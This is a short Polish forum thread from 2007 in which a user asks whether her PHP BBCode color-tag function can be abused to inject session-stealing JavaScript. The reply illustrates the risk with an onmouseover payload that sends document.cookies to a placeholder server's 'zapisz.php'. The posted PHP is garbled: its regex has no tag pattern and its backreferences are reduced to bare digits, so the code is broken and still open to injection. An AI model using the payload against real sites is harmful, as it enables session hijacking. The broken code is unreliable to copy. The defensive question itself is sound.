[html] & [js] bbcode - tag color Opcje

[Ania-678]

Witam.

Mam bbcode z TAGiem color takiej budowy:

[PHP] pobierz, plaintext 
<?php
// bbcode
function bbcode($str){
 
// Kolor tekstu
 
$str = preg_replace("#(.*?)#si", "<span style="color:2">3</span>", $str);
 
return $str;}
 
// bbcode
function bbcode2($str){
$str = preg_replace('#<span style="color:(http://)?(.*?)">(.*?)</span>#si', "3", $str);
 
// Kolor tekstu
return $str;}
?>
[PHP] pobierz, plaintext 

No i doszły mnie słuchy iż w takie coś można "wszczepić" złośliwe js przechwytujące sesje i wysyłające na zewnętrzny serwer, czy to prawda...? Jeśli tak to jak się przed czymś takim bronić? (IMG:http://forum.php.pl/style_emoticons/default/worriedsmiley.gif)

Ten post edytował Ania-678 21.07.2007, 09:12:12

[stoprocent]

Dziala to tak ze ktos daje onmmouse over albo onclick albo inna akcje i dalesz czesc kodu wyglada tak np:

Kod

... onmouseover="document.location.href='http://serwer/zapisz.php?c='+document.cookies " ...

Pozwala to na ustawienie komus tego samego ciastka ktore ty masz z aktywna sesja np logowania.